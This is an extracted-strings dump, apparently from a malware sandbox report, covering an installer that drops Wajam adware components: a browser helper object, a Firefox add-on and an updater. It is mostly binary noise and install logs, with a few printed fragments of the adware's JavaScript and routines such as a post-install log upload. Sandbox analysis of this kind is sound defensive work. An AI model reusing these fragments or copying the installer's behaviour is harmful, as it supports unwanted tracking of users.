f`(lxr.;T7D]PoC|S|!Y{fsZ|xfjHWjn0#+js.?O1-3aWyKG&I!{3X6_Y~odg-Hu5ej^>GUcqz/MZiSL/b<q~

Ansi based on Dropped File (nsqE177.tmp)

F`6v54$WnGB"y3_D`'l1e-[`1lIENDB`PKGBXRcontent/priam_background.js=ksF*q>%'HVD%(%],%@Zg`$Ur$f_@k2OFE&<&YNZ,lg};O$NmvT.}R_@:-yE(Q[Mw&>f-Ne[0>t<Lr**PQ

Ansi based on Dropped File (nsqE177.tmp)

Failed to create IWbemLocator object.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Fav0r_tes

Ansi based on Image Processing (screen_9.png)

Favorites

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

fD$\$fD$PfL$fT$fD$LD$$$ SjhT$RjPjh0H~T!r

Ansi based on Dropped File (nsqE177.tmp)

Fd_X1;Ow/

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

fddecnfcnnnni]cedbav.z#eaeeeeeadv/x eadhm

Ansi based on Dropped File (nsqE177.tmp)

FEATURE_CLIENTAUTHCERTFILTER

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

fEKV~ YeV<YEEuV YT$L$ti3D$ur=At&6Wr1t+utt

Ansi based on Dropped File (nsqE177.tmp)

FFC;]|u@uj@@3UE0BDP3h0BPPPPPPuP@tu@E%@ht$t$5C@D$=CtuG=CtCh@@C@D$@@C

Ansi based on Dropped File (nsqE177.tmp)

FFF`4l<RPp@(t|n^,l`P@(8Lbjz&2FVdt~rVH:$xl`NB2 4"4DTfv

Ansi based on Dropped File (nsqE177.tmp)

ffiliate_id.\n'; }// Unique_id validationvar uid = priam.background.preferences.get('unique_id');if ( priam.background.util.isValidUniqueId( uid ) === false ) {str += priam.background.trace.add(method_name,'Bad unique_id: '+uid);} else { str += 'Good unique_id.\n'; }// MappingList validationvar mappingListJsonString = priam.background.preferences.get('mappingListJsonString');var mappingList = null;try {mappingList = JSON.parse(mappingListJsonString);}catch(f) {str += priam.background.trace.add(method_name,'Error Message: '+f.message);}if ( priam.background.util.isValidMappingList( mappingList ) === false ) {str += priam.background.trace.add(method_name,'Bad mappingListJsonString: '+mappingListJsonString);} else { str += 'Good mappingListJsonString.'; }}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name, str );

Ansi based on Dropped File (priam_bho.dll.1505483275)

File name

Unicode based on Dropped File (inetc.dll.1181384010)

File nameP",

Ansi based on Dropped File (nsqE177.tmp)

File Not Found (404)

Ansi based on Dropped File (inetc.dll.1181384010)

File Open Error

Ansi based on Dropped File (inetc.dll.1181384010)

File Read Error

Ansi based on Dropped File (inetc.dll.1181384010)

File size

Unicode based on Dropped File (inetc.dll.1181384010)

File sizeP"7

Ansi based on Dropped File (nsqE177.tmp)

File Write Error

Ansi based on Dropped File (inetc.dll.1181384010)

File: error creating "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: error, user abort

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: error, user cancel

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: error, user retry

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: overwriteflag=1, allowskipfilesflag=0, name="%TEMP%\nsfE187.tmp\ExecCmd.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=1, allowskipfilesflag=0, name="%TEMP%\nsfE187.tmp\inetc.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=1, allowskipfilesflag=0, name="%TEMP%\nsfE187.tmp\MoreInfo.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=1, allowskipfilesflag=0, name="%TEMP%\nsfE187.tmp\SimpleSC.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=1, allowskipfilesflag=0, name="%TEMP%\nsfE187.tmp\System.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=1, allowskipfilesflag=2, name="%TEMP%\nsfE187.tmp\SimpleSC.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="favicon.ico"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="IE_approveExt.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="priam_bho.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="uninstall.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="wajamLogo.bmp"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="WajamUpdater.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: overwriteflag=2, allowskipfilesflag=2, name="{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: skipped: "%s" (overwriteflag=%d)

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: skipped: "%TEMP%\nsfE187.tmp\inetc.dll" (overwriteflag=1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: skipped: "%TEMP%\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: skipped: "%TEMP%\nsfE187.tmp\System.dll" (overwriteflag=1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: skipped: "%TEMP%\nsfE187.tmp\IpConfig.dll" (overwriteflag=1)

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00401000.00000020.mdmp)

File: wrote %d to "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

File: wrote 109064 to "%PROGRAMFILES%\Wajam\Updater\WajamUpdater.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 297096 to "%PROGRAMFILES%\Wajam\IE\priam_bho.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 37909 to "%PROGRAMFILES%\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 4608 to "%TEMP%\nsfE187.tmp\ExecCmd.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 5430 to "%PROGRAMFILES%\Wajam\IE\favicon.ico"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 5430 to "%PROGRAMFILES%\Wajam\IE\wajamLogo.bmp"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 62976 to "%TEMP%\nsfE187.tmp\SimpleSC.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 64296 to "%PROGRAMFILES%\Wajam\uninstall.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 7168 to "%TEMP%\nsfE187.tmp\MoreInfo.dll"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

File: wrote 80384 to "%PROGRAMFILES%\Wajam\IE\IE_approveExt.exe"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

FileDescription

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FileDescriptionAuto-updater0FileVersion1.0.0.5BInternalNameWajamUpdater.exef!LegalCopyright(c) Wajam. All rights reserved.JOriginalFilenameWajamUpdater.exe,ProductNameWajam4ProductVersion1.0.0.5DVarFileInfo$Translation<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

Ansi based on Dropped File (nsqE177.tmp)

Filename: %s

Ansi based on Dropped File (inetc.dll.1181384010)

FileVersion

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FindClose

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FindCloseChangeNotification

Ansi based on Dropped File (priam_bho.dll.1505483275)

FindFirstChangeNotificationW

Ansi based on Dropped File (priam_bho.dll.1505483275)

FindFirstFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FindFirstFileW

Ansi based on Dropped File (priam_bho.dll.1505483275)

FindNextChangeNotification

Ansi based on Dropped File (priam_bho.dll.1505483275)

FindNextFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FindNextFileW

Ansi based on Dropped File (priam_bho.dll.1505483275)

FindResourceExW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

FindResourceW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

FindWindowExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Firefox 57.0.1 found at %PROGRAMFILES%\Mozilla Firefox\firefox.exe

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Firefox Addon was found: false.

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Firefox profiles found

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Firefox: Looking for profiles directory: APPDATA\Mozilla\Firefox\Profiles

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

FK!PQy)W!Wj,aOGVXB6Gl Wyk|$<H

Ansi based on Dropped File (nsqE177.tmp)

Fkb%yA#Az)f

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FlsGetValue

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

FlsSetValue

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

FlushFileBuffers

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

FN<<<>>>222555222111222$&(FQ>nbtpmmmmorb@s'GS ***)))'''uS4Z<Z<Z<Z<Z;Z;Z<Y;Y;Y;Y;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z;Z<Z<Z;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<X:\>aQxl}rwktk@(9"F{l{~{yzz{{}xc:gz

Ansi based on Dropped File (nsqE177.tmp)

FolderTypeID

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

fonts.googleapis.com

Ansi based on PCAP Processing (PCAP)

for _onexit/atexit table

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

for arguments

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

for thread data

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ForceRemove

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

fPEE+;HNy5=FA[n'a:_;?K`iR^G^QP=fnk?]`a8

Ansi based on Dropped File (nsqE177.tmp)

FPUMaskValue

Ansi based on Dropped File (SimpleSC.dll.523064890)

FreeEnvironmentStringsA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

FreeEnvironmentStringsW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

FreeLibrary

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

FromCacheTimeout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ftf;t+juuu^]U}u3]UMMtft

Ansi based on Dropped File (nsqE177.tmp)

ftf;t+}^tMap_[U=AVuy39EuuIcMt+Ar

Ansi based on Dropped File (nsqE177.tmp)

ftOu3ufFj"YUMx~ulA]lA

Ansi based on Dropped File (nsqE177.tmp)

FtpCommandA

Ansi based on Dropped File (inetc.dll.1181384010)

FtpCreateDir failed (550)

Ansi based on Dropped File (inetc.dll.1181384010)

FtpCreateDirectoryA

Ansi based on Dropped File (inetc.dll.1181384010)

FtpDefaultExpiryTimeSecs

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

FtpOpenFileA

Ansi based on Dropped File (inetc.dll.1181384010)

FullScreen

Unicode based on Runtime Data (iexplore.exe )

Function .onInstSuccess

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Function: .OnInit

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Function: PostInstallLogsToServer

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

fWAF7jjSU7<0|7)7xjjSUD$$OD$F0}J-\$u

Ansi based on Dropped File (nsqE177.tmp)

FwspmnqoEt954GGG444444ZZZwwwtS4Z<Z<Z<Z;Y<Y<X<U5T5S6W:Z<Y;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z;Y=Y=Y;U9V8Y;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Y;X7V6X:Z<Z<Z<Z<Z<Z<Z<Z<X:\>|UxxO_!x>

Ansi based on Dropped File (nsqE177.tmp)

f{hi9?]taA

Ansi based on Dropped File (nsqE177.tmp)

G#7sHzAe\4`GQ

Ansi based on Dropped File (nsqE177.tmp)

g,gpy]'Z"(ZA`r)wdSXU`PG5^Ftg.F,@5dp.(#FFZwSyK9jP"^7)k+F \$IEgN$V$!Ix

Ansi based on Dropped File (nsqE177.tmp)

G2E'jz1K[Fny!2

Ansi based on Dropped File (nsqE177.tmp)

g2P~$BF'XJ2hz~2yad!.OF]'8<

Ansi based on Dropped File (nsqE177.tmp)

G5DA5HA^_[%A$tj$YXAtjh@j6jUMMZf9t3]A<8PEu3f9H]UEH<ASVq3WDt}H;rX;r

Ansi based on Dropped File (nsqE177.tmp)

g?;gb8J<K<G.lRF!'b^|Ta_e~}%39/NIU

Ansi based on Dropped File (nsqE177.tmp)

g]CU:dl7g+o9=%Oq8c&*tRs\TUbiUSr$2'q|UmgSj4\OoP(]'^]%gG=']xJ?>{}j42e>I.nJ$GoqKs/E#

Ansi based on Dropped File (nsqE177.tmp)

g^[Wfx_SVWPtl11F t-tb+t_$t_xtZXtU0uFxtHXtCt t-0w%9w!Fut}NF~ExC[)AFFtar 0vw

Ansi based on Dropped File (nsqE177.tmp)

GAIsProcessorFeaturePresent

Ansi based on Dropped File (IpConfig.dll.3460457498)

GBF}vfHvbO|I^>[sfc~N)lS,iuK\J{/1Qe|qY6{;i~LZ$L"<5Nt

Ansi based on Dropped File (nsqE177.tmp)

gcDC8'5(S

Ansi based on Dropped File (nsqE177.tmp)

gddbfnghnnnnonfdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeceincde`+~)`eeeeeeedcaaabdeeeeeeeeeeeeeedaaddeeeeeeeedcaaabdeeeeeeeeeeeeedcaabcdeeecbaabdeeeeeeeeeeeeeeeeedbaacdeedcccccdeedccccccddeedcdedcccccccdeeedccdeeeccdecdddcddeeecddccccceeeeedbabdeeeeeeedbabdeedccccccdeeedcdeeddcccccdeeeedbabdeedcdeeedcdeeeeeedcdeeedceeeeddcedcdeeedcddccccccdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeebj8JGocdeeda|'KM+adeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeec`^_bdeeeeda^^adeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee